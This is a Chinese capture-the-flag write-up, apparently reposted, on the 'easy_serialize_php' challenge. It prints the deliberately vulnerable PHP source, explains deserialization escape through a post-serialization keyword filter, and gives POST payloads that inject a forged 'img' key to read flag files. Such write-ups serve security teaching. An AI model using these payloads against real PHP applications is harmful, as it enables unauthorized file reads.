1. 程式人生 > 實用技巧 >CTF程式碼審計之[安洵杯 2019]easy_serialize_php

CTF程式碼審計之[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

考點:php反序列化逃逸

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION
["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET
['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info
); echo file_get_contents(base64_decode($userinfo['img'])); }

觀察可以找到

還有根據程式碼

可以知道 資料在序列化之後又進行了一次過濾,可能會造成序列化之後資料丟失

php反序列化逃逸

特性一:

反序列化

//輸入
<?php
$str = 'a:2:{i:0;s:5:"hello";i:1;s:5:"world";}';
var_dump(unserialize($str));
?>

//輸出
array(2) {
  [0]=>
  string(5) "hello"
  [1]=>
  string(5) "world"
}

但是如果在str後面加上某些字元

//輸入
<?php
$str = 'a:2:{i:0;s:5:"hello";i:1;s:5:"world";}abc';
var_dump(unserialize($str));
?>

//輸出結果相同,不影響反序列化的正常進行
array(2) {
  [0]=>
  string(5) "hello"
  [1]=>
  string(5) "world"
}

特性二:

//輸入
<?php
$_SESSION["user"]='flagflagflagflagflagflag'$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

//輸出
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假如後臺有過濾機制,能讓 flag 替換為空

則輸出為

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
//輸入
<?php
$str='a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';
var_dump(unserialize($str));

//輸出
array(3) {
  ["user"]=>
  string(24) "";s:8:"function";s:59:"a"
  ["img"]=>
  string(20) "ZDBnM19mMWFnLnBocA=="
  ["dd"]=>
  string(1) "a"
}

可以發現SESSION陣列的鍵值img對應的值發生了改變,可以知道,過濾掉 flag之後,ZDBnM19mMWFnLnBocA== 代替了真正 base64的編碼,讀取了d0g3_f1ag.php的內容,之後的內容則被被忽略掉了。

題目

payload:

post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

再 替換為_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}回顯得到 flag

轉載自https://www.jianshu.com/p/8e8117f9fd0e 大佬的文章(侵權立刪)